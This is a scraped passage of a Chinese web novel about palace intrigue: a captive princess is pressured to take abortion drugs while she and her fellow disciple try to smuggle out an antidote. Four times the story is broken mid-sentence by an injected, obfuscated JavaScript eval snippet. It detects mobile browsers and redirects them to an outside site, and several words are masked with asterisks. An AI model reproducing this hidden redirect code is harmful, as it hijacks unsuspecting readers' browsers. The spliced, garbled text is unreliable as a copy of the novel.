安景晟蹙了蹙眉,紧抿了嘴角。 “夕儿,你可要想清楚了,时间不多了。”华静香再次开口,别有深意的看了她一眼,然后挽上了安景晟的胳膊。 “晟,走吧。” 安景晟看了安文夕一眼,微微叹了口气,和华静香相携着出了房门。 待安景晟和华静香走后,安文夕颓唐的坐了下来,双手紧紧的抓住桌角,指尖变得卡白。 “公主……” “公主,你没事吧?” 箐姑姑和香茗立即扶住安文夕。 “我没事。”安文夕无力地摆了摆手。 “公主,你有了身孕?”箐姑姑犹豫道。 安文夕的双手覆上小腹,嘴角不自觉浮上了一抹笑意,淡淡道:“已经三个多月了。” “是皇上的孩子吗?” “是,是九哥哥的。” “公主,你和皇上和好了?”香茗惊道。 安文夕只是淡淡的点了头,对箐姑姑和香茗道:“你们出去吧,我想休息休息。” “公主……”箐姑姑有些不放心的看了安文夕一眼。 “小师妹!”就在这时,传来一声担忧的声音。 “袭匀。”安文夕抬眸看去。 袭匀走了进来,看着箐姑姑和香茗道:“你们都下去吧,本公子和小师妹说说话。” “坐吧。”安文夕指了指对面的凳子。 “小师妹,你的脸色怎么这么白?”袭匀坐了下来,“刚才是不是安景晟和那个什么香……香韵公主过来了?” 安文夕点点头。 “他们来做什么?一定没安好心!”袭匀愤愤,待他的眸光落到小几上的空药碗上时,顿时明白了什么,眼神立即变得凌厉。 “他还逼你打胎?” 安文夕没有说话,而嘴角却堆满了苦笑。 袭匀见状一下子从凳子上弹了起来,骂道:“这安景晟真不是个玩意!” 安文夕黛眉轻挽,眸光轻垂,“不说这个了,我昨晚交代你的事情办得怎么样了?” “这院子看起来和平常的宅院无异,可是在暗中却埋了无数的暗卫,别说从这里逃出去,就连消息都送不出去。” “就剩下三天的时间了,一定要将解药送出去!” “解药?他们给你解药了?” 安文夕摇了摇头,“那香韵公主说,只要我喝了落胎药,就会将解药送回夏宫救无双。” “什么?”袭匀闻言大怒,“竟然这么卑鄙!” 安文夕的眸光变得悠远,“晟哥哥了解我的脾性,知道用什么才能威胁到我,所以他才会让我用这个孩子来换无双的解药。” 半晌,她突然从袖子取出一粒朱红色的药丸递给袭匀。 袭匀一滞,然后惊道:“这就是那胭脂泪的解药?怎么会在你这里?” “这是昨日他们给我服下的,只是被我藏了起来。” “小师妹,你想让我怎么做?” “将这解药送回夏宫。” “可是,我根本出不去。” “我有办法。”安文夕的眸光有意无意的瞥了眼四周,然后对袭匀招手道:“附耳过来。” 安文夕贴着袭匀的耳朵说了片刻,袭匀脸上顿时浮现一抹喜色来,不禁赞道:“还是小师妹聪明!” “你可有把握?” “放心吧,这件事交在师兄身上。” “解药你可要放好了,这一颗价值千金!” 袭匀点了点头,“可是小师妹,你将解药给了无双,你怎么办?” “晟哥哥不会眼睁睁的看着我**的。” 袭匀蹙眉,“那也未必,如今的安景晟冷血无情,万一……” “你不用管这么多,只需将这解药送回夏宫就好。” “好吧,我先回去了,你好好休息。” 袭匀走后,安文夕靠在了软榻上,脸色稍显疲惫。 安景晟和华静香出了安文夕的房间便一直没有说话,华静香很明显感受到了他的情绪变化,她的脚步一顿,抬眸看向安景晟道:“晟,你是不是在怪我?” “没有,你在胡思乱想什么呢?” “我感觉到了,晟,你不开心。”华静香靠在安景晟怀中,“是不是怪我逼夕儿了。” 安景晟心中一动,轻轻揽住了华静香的纤腰,将下巴抵在了她的发顶,浅浅的嗅着她的发香,温柔道:“傻瓜,怎么会呢,你做的很对,那个孩子不要留的。” 他的眸光却逐渐飘远,虽然他也知道这对夕儿而言很残忍,可是成大事必须不拘小节! “你不怪我就好。”华静香靠在安景晟的胸膛,小手不安分的在他胸前游走,顿时挑起了他的**。 安景晟眸光一变,立即将华静香打横抱起,飞快的回了房间。 昨夜云雨刚歇,今晨又入巫山,院子里的下人们已经对此见怪不怪。 一番云雨之后,安景晟拥着华静香温软的身子,抚摸着她光洁的皮肤,突然道:“香儿,换颜丹的解药你配的如何了?” “差不多已经配好了,只差最后一步了,这得需要娘亲来完成。”华静香抬手覆上他的脸庞道,“反正你也已经用这幅容貌二十多年了,不差这几天。” “香儿说的是。” 华静香点头,玉手在他的脸上流连,羞涩道:“不过,香儿很喜欢你这幅容貌。” “难道香儿不想看看我的真容。” “自然是想的,一定比现在更好看。” “若是没有现在好看呢?”安景晟邪邪道。 华静香撅了撅嘴道:“那香儿可就会嫌弃的。” “是么?”安景晟眼中刚刚退却的欲望又重新攀上起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672465|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华静香立即求饶道:“晟,香儿错了,你饶了香儿吧。” “那就饶你一次。”安景晟在她的花颊之上落下一吻,二人皆浅浅笑了,只是这笑都是不达眼底。 “对了,晟,原本夕儿是对北宫喆恨之入骨的,后面却突然和他重归于好,还要为他生子,你不觉得奇怪么?” “这个问题我也思索过,可是夕儿毕竟是爱着北宫喆的,后面和他重归于好,也没什么好奇怪的。” “可是,我还是有些想不通,也许他们之间发生了什么事情,夕儿才会改变了态度。” 安景晟眸光微敛,半晌道:“这件事,交给我去查。” 随即他起身穿上了衣服,然后拿来华静香的衣服递给她。 “我想再睡一会,你先出去吧。” “好。”安景晟在华静香眉心印下一吻,便出了房门。 安景晟一走,华静香脸上原本温柔似水的神色顿时敛尽,眉间之间浮现一抹冷煞,垂眸看了眼身上留下的青紫,不在意的披上衣服。 她一开始就知道,她和安景晟之间的不过是相互利用,情爱这种东西对她而言太过奢侈! 她刚刚穿好了衣服,轻声唤道:“流苏!” 随着她的话音,一抹青色的身影立即出现在房间内,女子单膝跪地道:“启禀公主,您猜的没错,昨日您给安文夕喂下的解药被她藏了起来。” 果然,如她所料。 华静香柔美的凤眸微眯,一抹阴狠从她眼底悄然划过。 安文夕是个狡猾的女人,不得不防! “本宫知道了,你继续盯着那个袭匀,一旦发现有何异动,立即来报!” “是。” “好了,退下吧。” 从早晨还是,每餐之后,安景晟就会吩咐下人送来一碗落胎药,而安文夕亦是每次都会直接倒掉。 虽然她的表面平淡,可是心里却比谁都更加着急。 可是却没有半点办法,她在等,等那个人来救她! 袭匀自从从安文夕的房间回到自己的屋子时,就开始闹腾,不是嫌饭菜不好吃,就是嫌伺候的人不周到,最后竟然嫌院子太小,憋屈,说什么也想出去! 每次偷溜出去若是有人拦,他必定将人打的鼻青脸肿。而遇到身手比他厉害的护卫,他就悻悻回房。 而对于袭匀的无理取闹,安景晟采取不管不问的措施。 不出一天,所有的人都离袭匀的院子远远的,以免被波及。 袭匀在将庄院所有的下人闹腾一遍之后,就天天潜伏在主房,每次安景晟和华静香将要亲热之时,他都是准时现身。 然后淡淡抛下一句:你们继续,本公子就是太闷了来欣赏表演。 气的安景晟差点没有将袭匀大卸八块,最后华静香忍无可忍对安景晟道:“晟,这个袭匀真是讨厌,不如我们将他放走吧,反正我们的目的不是他。” 安景晟早就厌烦之际,听到华静香提起便点了点头,当日他就不该招惹这个祸害! 袭匀出了庄院顿时松了口气,只觉得呼吸都顺畅了。 他立即马不停蹄的朝夏宫奔去,没想到刚走出了不远,后面便出现了尾巴,安景晟竟然派人跟踪他! 第215章 偷拿解药 第二百一十五章偷拿解药 袭匀扬起马鞭,狠狠地夹了马腹,飞快的疾驰起来。 令他想不到的是前方早就埋伏了人在等着他,更卑鄙的是有人设置了路障,在他策马疾驰之时,那人一把拉直了麻绳,直接将马掀翻,他立即从马背上滚下,若不是小师妹告诉了他让他提前有了准备,不然他的小命就此玩完! 袭匀被摔得龇牙咧嘴,不由得大骂道:“哪来的龟孙子,快给本公子出来。” 随着他的话音一落,从四面八方的草丛里涌出来不计其数的蒙面人来。 他们皆提剑向他砍来,明晃晃的长剑闪花了他的眼睛! 袭匀双眸微眯,这些人分明就是庄院里的暗卫,虽然都蒙着面,但是身上的服饰未变,这瞒不了他! 以一敌百,简直是以卵击石,不过十招,袭匀已经渐渐败下阵来,身上也添了不少伤口。 向来好看的眉头紧紧锁起,警惕的盯着身前的暗卫,厉声道:“为何要拦本公子,这可是安景晟亲自放本公子出来的!” “我们公主说了,你偷拿了胭脂泪的解药,让我们务必带你回去!” “解药?本公子没拿!” 他的话还没说完,其中一个暗卫便出手卷起他腰间的小瓷瓶。 “还说没拿,这是什么?”那人不屑道。 袭匀先是一惊,然后大笑道:“一群蠢货,那么重要的东西,你以为我会直接摆在外面么?” 袭匀咬了咬牙,不顾身上的伤口,身形一跃而起,转瞬消失在了众人眼前。 那人手指发力,顿时将手中的小瓷瓶捏的粉粹,里面突然爬出来一只背部紫红的毒蝎子,惊得那人立即将毒蝎子甩开。 被人戏耍了一番,那人自然不会这么轻易善罢甘休,咬牙切齿道:“给我追!” 因为袭匀身上有伤,他没有走多久,就再次被人堵截,只听得身后传来一声怒喝:“看你还能往哪里跑!” 袭匀低声唾骂了一声,转身怒道:“以多欺少,算什么英雄好汉,有本事单挑!” 那人只是不屑的扬起了眉梢,身形未动,手腕一翻,一粒石子便飞出了他的掌心直直砸向袭匀。 这一幕发生在一夕之间,袭匀还没反应过来就被人点了穴道,他不禁破口大骂道:“无耻,竟敢暗算本公子!” “搜!” 看着朝他走来的众人,袭匀黑瞳蓦然骤缩,厉声道:“别过来,别过来,本公子告你非礼啊!” “啊!痒**,别碰本公子!” 袭匀暗暗磨牙,然后专心气沉丹田,运气冲破穴道。 “左**,拿到了!”一个暗卫从袭匀怀中摸出一个小瓷瓶,立即抛给了为首的那人。 就在这时,袭匀刚刚冲破了穴道,他欲伸手去抢小瓷瓶,左**已经稳稳地将小瓷瓶握在了手中。 他倒出了里面的药丸,冷冷瞧了一眼,然后又飞快地将药丸塞了回去。 袭匀微怒,劈手朝左**砸去,然后反手成勾,探至他的身后,顺着脖颈绕至身前,一把夺过他手中的小瓷瓶。 袭匀嘴角微勾,竟然想从他的手里抢东西,不自量力! 左**明显没有想到袭匀的身手如此矫健,几乎是没有任何防备就被袭匀夺去了手中的东西,不禁心中一惊。 他立即抬脚踢去,袭匀侧身避开,谁知更快的是他手中的利剑,闪着寒芒径直劈来,眼看就要将袭匀的右手齐腕划下,袭匀剑眉微蹙,蓦地将手中的小瓷瓶抛至上空,这才堪堪躲过一剑。 再欲伸手去接小瓷瓶时,一把把利箭破空而来,将他一步步逼退。 袭匀咬牙,这是要逼死他的节奏! 他提了一口气一跃而起,脚尖踩着剑锋,再次伸手去抓小瓷瓶。 左**双眸微眯,抬掌劈向那只小瓷瓶,他是宁愿毁掉也绝不能让袭匀得手! 眼看就要到手的东西却突然炸裂,化作一抔齑粉,袭匀急得跳脚! “你大爷!”他身形一闪,犹如魅影一般迅速掠至那个左**身前,抬脚踹向他的胸口,连续几脚将他踹飞,却仍不甘心。 他劈手夺下一人手中的长剑,有些杂乱无章的砍向众人,袭匀只知道他要被气疯了! 眼睁睁的看着小师妹好不容易藏下来的解药被毁,他**的心都有了! “丫的,还我的解药!” 左**站起身子,捂着胸口狠狠地吐出了一大口鲜血,看着杀红眼的袭匀,厉声道:“将他带走!” 随着他的一声令下,其他的暗卫手下的招式越发的发狠起来,而且采取车轮战术,不出一会功夫,袭匀便体力不支。 他知道今日他是不可能逃得出去的,索性将手中的剑往地上一扔,对众人道:“本公子自己回去!” 他要回去向安景晟讨个说法,说好了放他走为何不算话! 左**眼中闪过一抹惊讶,双眸蓦地一缩,厉声道:“带走!” 不出半个时辰,他们便赶回了墨松山庄。 墨松,是安文夕亲自取的名字。 而此时,安文夕看着再次送来的落胎药,不由得冷冷一笑,直接端起药碗倒在了盆栽里。 “公主,将药碗交给奴婢吧。”箐姑姑叹了口气,公主如今和世子反目是她们最不想看到的。 “世子太坏了!”香茗愤愤。 “不管怎么说,公主肚子里的孩子都是他的外甥啊!” 外甥?安文夕嘴角勾起一抹讥笑,也许晟哥哥并不这样觉得。 “香茗,你去告诉安景晟,以后不必再往这里送药了,我是不会喝的。” 安文夕刚刚抬脚,只觉得眼前一黑,整个人顿时朝身后倒去。 “公主——”吓得箐姑姑立即一把接住了她,和香茗一起将她扶到了床榻上。 “公主这是怎么了?”香茗吓坏了。 “你赶紧去请晟世子来,就说公主晕倒了,快去!” 箐姑姑一脸焦急,公主怎么好端端的会晕倒? 过了片刻,安景晟便急急地从这边走来,他身后跟着脸色同样焦急的华静香。 “世子,您来了,公主她突然就晕倒了。”箐姑姑立即迎上去道。 安景晟紧蹙着眉,“怎么会晕倒了,香儿,你来看一下。” 他的眉宇之间尽是担忧,虽然他不喜欢她肚子里的孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678121|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是他对安文夕却是真心疼爱。 华静香坐在榻前,探上安文夕的脉搏,秀气的眉毛微微拧了起来。 “怎么了?” 华静香收了手对安景晟道:“没什么大碍,不过是急火攻心罢了。” “你给她开两副药吧。”安景晟轻声道,他知道这一年来,安文夕受了不少苦,他的心中泛起阵阵心疼。 “公主如今这样都是世子逼的。”香茗忍不住说道,然后说完立即躲在了箐姑姑身后。 箐姑姑顿时一惊,这个丫头怎么如此大胆,不要命了么? “你胡说什么,还不赶紧跪下向世子请罪!”她一把拉出香茗。 安景晟冰冷的眸光扫向香茗,抿了抿薄唇,淡道:“罢了,你起来吧。” 华静香看着安文夕柔柔开口道:“我刚才给夕儿把了脉,觉得十分奇怪,明明前天晚上就已经给她服下了胭脂泪的解药,为何如今她的体内还有胭脂泪?” 安景晟闻言,眸光顿时一沉,紧紧的锁住安文夕的眉心。 华静香走过去,拿出丝帕轻轻擦拭安文夕的眉心,她的眉心处果然出现了一点殷红。 “难道她没有服下那粒解药?”华静香故作惊呼道。 安景晟眉头微拧,还没有开口,一个暗卫从外面进来,扫了眼室内,沉声道:“公主,驸马大事不好了!” 安景晟的眸光瞥了眼众人,然后淡道:“回去说!” 就在这时,一身凶煞之气的袭匀从天而降,气势汹汹的提剑向安景晟刺来。 安景晟立即拉着华静香侧身避开,不悦的皱眉道:“你不是走了么,又发什么疯?” 他对这个袭匀已经忍耐到了极限! “别跟本公子装蒜,是你又让人将本公子带回来的!”袭匀怒道。 随着袭匀一起来的还有左**,他见状立即拦住袭匀,对安景晟和华静香道:“启禀公主和驸马,这个人偷走了胭脂泪的解药。” “什么,怎么会这样,他怎么会有胭脂泪的解药?” 安景晟没有在意华静香的惊讶,而是上前一步,盯着袭匀道:“那解药呢?” 袭匀冷哼一声,将头扭去一旁。 左**看着安景晟道:“启禀驸马,属下再夺回来的时候,不小心将那粒解药毁了。” “毁了?”华静香又惊又怒,下意识的握紧了安景晟的胳膊,对着左**喃喃道,“你知不知道那一粒解药有多珍贵?” 她的双眸微冷,带着淡淡的怒气,睫毛轻垂,掩去眼底的那一抹悄然而逝的喜色。 毁了也比被袭匀送去夏宫好! “属下该死,请公主责罚。” “罢了,他也是无心之失。” “既然驸马替你求情,那你就去好好思过!” “外面怎么了?”安文夕这才缓缓睁开了眼睛,看向一旁的箐姑姑。 箐姑姑又惊又喜,“公主醒了!” 安景晟和袭匀闻言立即去了内室,“夕儿,你现在感觉怎么样?” 安文夕只是淡淡扫了安景晟一眼,然后将视线放在袭匀身上,惊讶道:“袭匀,你怎么在这里,你不是走了么?” 第216章 墨松庄院 第二百一十六章墨松庄院 袭匀脸色一滞,半晌咬唇道:“此时说来话长,倒是你怎么了,小脸煞白煞白的。” 安文夕闻言,脸色一沉,缓缓垂下眼睑,对安景晟道:“晟哥哥,夕儿累了。” 华静香看着安文夕眼中拼命掩饰的灰败,她在唇角绽开一抹悄无声息的淡笑。 安文夕这点小把戏竟然还敢拿到她的面前,她今日就是给她一个教训! 安景晟的眸光在袭匀和安文夕之间打量了一下,心中早已明白了事情的来龙去脉,对安文夕道:“你好好休息,晟哥哥一会再来看你。” 安文夕淡淡点头,算是应了。 安景晟一走,袭匀的脸顿时皱成了一团。 “小师妹,是师兄太没用了,解药被他们毁掉了。”袭匀懊恼道,“要不是小师妹提醒我提防着被人跟踪,只怕师兄这条小命就玩完了。” 只是他想不明白的是小师妹明明知道安景晟不可能真的放他走,为何还要让他带了解药赶回夏宫。 安文夕像是明白他心中所想,抿唇道:“我以为不管怎样晟哥哥既然答应放你走,都不会出尔反尔的。”其实,这也是她心中隐隐希冀的,而事实证明,又是她妄想了。 晟哥哥怎么可能让袭匀将消息传回夏宫呢? “安景晟就是个卑鄙小人!”袭匀恨恨道。 “你受伤了,先把伤口包扎一下吧。”安文夕说着要起身。 袭匀立即制止她道:“不过是小伤而已,你好好躺着。” “这件事是我疏忽了,才害你受伤。” 袭匀不在意的瞥了眼身上被鲜血染红的地方,淡道:“皮肉伤,不打紧,安景晟有没有为难你?” 安文夕的嘴角噙了丝苦笑,“不过是每日都送来落胎药罢了。” “唉,如今我再想出去就难了。”袭匀叹了口气。 “袭匀,我让香茗来为你处理下伤口吧。” “不用了,我自己回房处理就好,你休息吧。”袭匀摆了摆手。 安文夕看着袭匀的背影,睫毛轻颤,袖中的手慢慢攥紧了那粒药丸。 希望这样一来,就可以打消那香韵公主的疑虑! 安景晟带着华静香回房后,脸色渐冷,就连峻拔的背影都多了几分冷意。 华静香咬了咬唇,看着他如沁寒霜的脸庞,顿时止住了脚步。 半晌,安景晟回过头来,冷冷的瞧着华静香道:“这件事,你一早都知道?” 故意让他放走袭匀,然后将他要送出去的解药毁掉,彻底断了夕儿的念想! “晟,我……” “你只需说是还是不是。”安景晟突然打断她。 “是。”华静香迎着他寒凉的目光,“我只不过是试探一下她到底有没有吃下解药。” “今日夕儿晕倒也是你设计的?” “不是,这个我也不清楚,她怎么就晕倒了。也许是因为有孕的缘故,再加上心里负担大,倒不是不可能。” “拿来解药。” “解药?”华静香一滞,她当然不能再给他解药。 “我记得你那里还有。” “可是,万一她再偷偷地送回夏宫怎么办?” “不会的,我派人盯紧袭匀就是。” 华静香上前一步,“夕儿那么冰雪聪明,一定会想到别的法子将解药送出去的,这样一来,我们手中可就没有任何筹码了。” 安景晟黑瞳骤缩,他怎么会不知道这一点。 “你放心,我不会伤害夕儿的,等到最后一日再给她服下解药也不迟。”华静香伸手环住安景晟的后背,将头埋在他的背上,撒娇道,“香儿什么时候骗过你。” 温软的气息令安景晟的呼吸立即变得急促,他微微叹了口气,“真是拿你没办法,记住你说的话。” “我知道的。”华静香柔柔道,她就知道安景晟逃不出她的温柔乡! 安景晟转过身来,将华静香拥进怀中,爱怜的抚着她的柳腰,而他的眼中却清冷的不见半分迷离。 半晌,他才松开怀中的女人,温柔道:“刚才流云不是说大事不好了么,传进来吧。” 过了片刻,刚才那位暗卫进了房间,立即单膝下跪道:“属下参见公主、驸马。” “起来吧。”安景晟淡淡吩咐道,“刚才你不是说大事不好了么,到底发生了何事?” “启禀公主、驸马,右**……右****!” “什么?”华静香不敢置信的盯着流云,“右**武艺高强,还极为擅长巫蛊,怎么会**?” “太子回朝之后,就开始秘密对静华宫下手,短短几个月内,就已经铲除了我静华宫十几位长老,这里面就有右**。” “又是华宇单!”华静香咬牙切齿道,原本柔美的小脸顿时变得狰狞起来。 安景晟不动声色的皱了皱眉,然后对流云道:“到底怎么回事?” “我们静华宫行踪向来隐秘,原本太子根本无法窥察,而一个月前,太子却突然大肆绞杀我静华宫人,所以属下怀疑,有内鬼!” 安景晟眸光微凝,厉声道:“这件事都有谁知道?” “只有属下,其他的人都已经……” 华静香眼底的光芒一点点灰败下去,娘亲即将出关,而如今右**却**,她该如何向娘亲交代? “这件事务必保密知道么?” “属下明白。” “静华宫在南昭的势力暂且不要轻举妄动。” “可是……我们静华宫好不容易在南昭重新站稳跟脚。” “就听驸马的。”华静香突然出声道。 娘亲早就说了,这次静华宫的目标不是南昭,而是大夏! “是。” “好了,你先下去吧。”华静香蓦然抬眸道,此时在她的脸上已经看不出刚才的惊慌。 “香儿,右**一事,我们该如何向娘交代?” 华静香眸光划过一抹幽光,她敛眸道:“这件事,我自有办法。” —— 未央宫。 欢凉眼角的余光瞥向那道寒气逼人的身影,不由得阵阵皱眉,公主在的时候也不见他来,反倒是现在公主不在了,这个人却天天都来未央宫。 北宫喆转过身来,冷冷的看着欢凉道:“想出来了么,她有可能会被带到哪里?” 欢凉抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678122|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了抿唇,把脑海中能想到的地方又一一排除,那些地方都是不可能的。 只听得北宫喆又道:“凤青轩、潇湘馆,朕都已经查过了,人不在那里。” 欢凉最佳一抽,他果然知道那是他们的地方。 “狡兔三窟,还有朕不知道的地方么?” “没有了。”欢凉摇了摇头,她真的想不到晟世子会将公主带到哪里去。 突然,她的脑海中闪过一抹精光,她喃喃道:“难道是晟世子将公主带回了南昭?” 好像这也不太可能! “你再好好想想,有没有哪个地方是她和安景晟共同知道的?” “共同知道?”欢凉黛眉轻挽,半晌她猛地一拍脑门,激动道,“我想起来了!” “有个地方,庄院,对,就是那里!”欢凉语无伦次道。 月清绝摇着的羽扇一顿,“你慢慢说,到底是哪里?” “墨松庄院!” 北宫喆双眸微眯,立即抬脚出了未央宫。 欢凉只觉得眼前掠过一道明黄,再看时,北宫喆的身形已经掠出了未央宫。 北宫喆回到了琼华殿,换了身衣服,立即吩咐左言将蹄血玉狮子牵来。 “皇上,这只怕是安景晟故此设下的陷阱,您此去必然凶险,不如让属下去将皇贵妃娘娘救出来。” 北宫喆只顾着收拾着手下的东西,头也未抬道:“你去?你能救的出来?” “属下……”青玄顿时一阵语噎。 “可是,再过两日就是您的大婚……” 北宫喆蓦然一滞,“朕会尽量赶回来。” “属下不放心皇上一个人。” “朕先潜入墨松庄院,你和左言带着人埋伏在四周,记住,不要靠的太近,等到朕的命令之后再行动!” “是,属下知晓。” “启禀皇上,晴妃娘娘来了。”张海捧着拂尘前来通报。 “她?” “想必晴妃娘娘是为了大婚立后一事来找皇上的。” “有什么事情,你让她自己做主便是,若是她不能做主的,就去找太后!” “是,奴才明白了。” 张海将北宫喆的意思传达给了江向晴,她一阵咬牙,本想着借着布置大婚一事和皇上接近,没想到却被他一句话给回绝了,她的心里焉能不气? “晴妃娘娘请吧,今日皇上脸色不太好。”就是你能见了皇上,想必也讨不了好。 “本宫知道了,多谢张公公。”江向晴不情愿的朝晴阳殿走去。 不远处的北宫喆一身夜行衣,将健壮的身形全部隐在黑暗中,他凉淡的看了眼江向晴,然后掠出了宫门,跨上蹄血玉狮子朝承安郊野疾驰而去。 第二日,安文夕用完了早膳之后,依旧有人送来了落胎药,不同的是,这一次一起送来的还有另一碗药汁。 箐姑姑立即跟她解释道:“昨日公主突然晕倒,香韵公主给公主把脉说是急火攻心,这是她给公主的开的药。” 安文夕看着那黑漆漆的药汁,嘴角勾起一抹若有若无的讥讽,“香茗,你将这药端去给晟哥哥送去,就说放了红花的药可不是治急火攻心的!” 第217章 不自量力 第二百一十七章不自量力 当香茗原封不动的将安文夕的话说给安景晟时,他一向温润的脸色顿时一僵,他看着还在冒着热气的药汁对华静香道:“为何要这样做?”清润的声音中夹带着薄怒。 “晟,我这样也是为了帮你不是么?”华静香立即握住安景晟的手解释道。 而这一次的美人计并没有任何作用,安景晟没有像往常一样嗔怪她,也没有将她拥入怀中,而是不着痕迹的松开了她的手,笔挺的后背隐隐有些萧冷。 华静香蓦地一阵心惊,她的眸中飞快的掠过一抹幽光,没想到安文夕在安景晟心中的地位如此之高! “以后不要再这样了。” 安景晟轻垂眸光,想必如今在夕儿心中,他这个晟哥哥一定是个卑鄙小人吧。 他知道她身体不好,却不敢去看她,他不忍看她疏离而陌生的眼神。 虽然如今他知道自己的**,知道夕儿和他并没有任何血缘关系,可是她永远都是被他宠在手心里的妹妹,这一点永远不会变。 这十几年,夕儿给他带来了太多的惊喜和欢乐。 “晟,成大事者不该这样心软的!”华静香咬唇道。 “这一点我知道,但是我不想再去伤害夕儿,我已经欠她都多了!” 华静香嘴角的讥意渐渐扩大,不想再去伤害,从他让安文夕去诱惑北宫喆,再到现在逼着安文夕去打胎,哪一点不是伤害? 利用妹妹去争夺皇位,不是伤害么? 安景晟,真是虚伪! 华静香眼中的笑意渐渐发冷,当初就是她看中了他这一点,所以才会选他的不是么? “晟,我知道了,以后这样的事情再也不会了。”华静香挽上了安景晟的胳膊,浅笑娇柔。 “你知道就好。”安景晟拍了拍华静香的手背。 “既然这样,我让人重新再准备一碗药吧,我也不想看到夕儿的身体有什么不好。” 安景晟满意的笑了笑,“香儿,那胭脂泪的解药呢?” “怎么了,你要它做什么?”华静香脸上的笑意一滞,“我们不是说好了最后一日再给她服下么?” 安景晟眉头深深锁着,双眸幽深如潭,看不出他的思绪。 “没什么,我只是想跟你说好好放着,我感觉这两日可能会不太平。” 华静香摸了摸脖子里的项链,对安景晟嫣然一笑,“解药都在这里呢,你放心吧,一般人近不了我的身的。” 而那笑,落到安景晟眼中却意味不明。 用过午膳,安文夕躺在软榻上小憩,没过多久,便听见一阵敲门声,她知道这个时辰来找她的除了袭匀,不会再有别人。 她起身收拾了一番,对外面道:“进来吧” 袭匀一进来便直接一屁股坐了下来,原本清俊的脸上却带了几分焦急。 “怎么了?” “小师妹,我昨日偷听到了一个大消息。”袭匀没有像往常一样在说话之前先给自己倒一杯茶,想必这事情不是小事了。 “你可知道静华宫?” 安文夕点点头,“知道一些。”但是不多,毕竟静华宫是南昭的邪丨教组织,且又销声匿迹多年,她不过是在书上看到过一些只言片语罢了。 “安景晟和那香韵公主和静华宫有牵连。”然后袭匀又将他昨日听到的事情大致跟安文夕说了一遍。 安文夕顿时将那天听到安景晟和华静香的对话和刚刚袭匀告诉她的事情联系了起来,心中微沉。 只怕事情不是安景晟和华静香和静华宫有牵连这么简单了。 可是,她想不明白的是那华静香明明是堂堂的南昭公主,为何会叫静华宫的宫主为娘亲呢? 如果她没有记错的话,静华宫是邪丨教组织,向来是和南昭皇室水火不容的! 最令她惊讶的是,短短几月之内,原本销声匿迹多年的静华宫竟然以迅雷不及掩耳之势向中原地区席卷而来。 安文夕顿时明白,花姑姑之所以没有告诉她晟哥哥来大夏的消息,只怕是不想让她知道静华宫的事情吧。 如今的她已经对晟哥哥失望透底,就算是知道了什么只怕也没有什么能力去改变,安文夕苦涩一笑。 “小师妹,我只是告诉你一声,让你了解一下,这件事你就别掺和了。”袭匀语重心长道。 “我知道,如今我自己的事情都忙的焦头烂额,怎么有功夫去管别人。” “那就好,对了,小师妹,我发现今日这墨松庄院戒备森寒,就是只鸟儿也插翅难逃,我觉得以我的武功想要出去不大可能。” “想必他们也怕夏宫里来人吧。” “可是,算上今天就只有两天的时间了,这可怎么办呢?”袭匀不禁焦急的在房内踱着步子。 安文夕微微咬着下唇,那个人真的不会来了么,看来凡事还得靠她自己。 “小师妹,你说北宫喆会不会找来这里?唉,就算是他来了也无济于事,只怕安景晟就等着他来送死!” 送死? 这两个字一下子触动了安文夕的心弦,晟哥哥如此淡定,根本不像是会怕北宫喆会来,必定是准备了后招的,那么,北宫喆若来救她必定凶险! 那她一定要早点将手中的解药送回夏宫,她决不能让北宫喆前来送死! 安文夕杏眸蓦地骤缩,仿佛下定了决定了一般。 “袭匀,我有个主意!”安文夕对袭匀招了招手。 “叩叩……叩叩……” 安文夕心中一惊,和袭匀对视了一眼,然后换上了一副闲淡的表情,轻声道:“进来吧。” “吱呀——” 房门被打开,就看到华静香娉婷走来,她的脸上挂着柔美的浅笑,看了眼安文夕又将视线落在了袭匀脸上,这才缓缓开口道:“夕儿,我来给你送药了。” 而华静香的身后,跟来一位身着淡紫色长裙的婢女,手中端着的托盘上面依旧是放了两个药碗,此时正冒着热气。 “香韵公主拿回去吧,我是不会喝的。” 华静香看着如此冷淡的安文夕,脸上的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 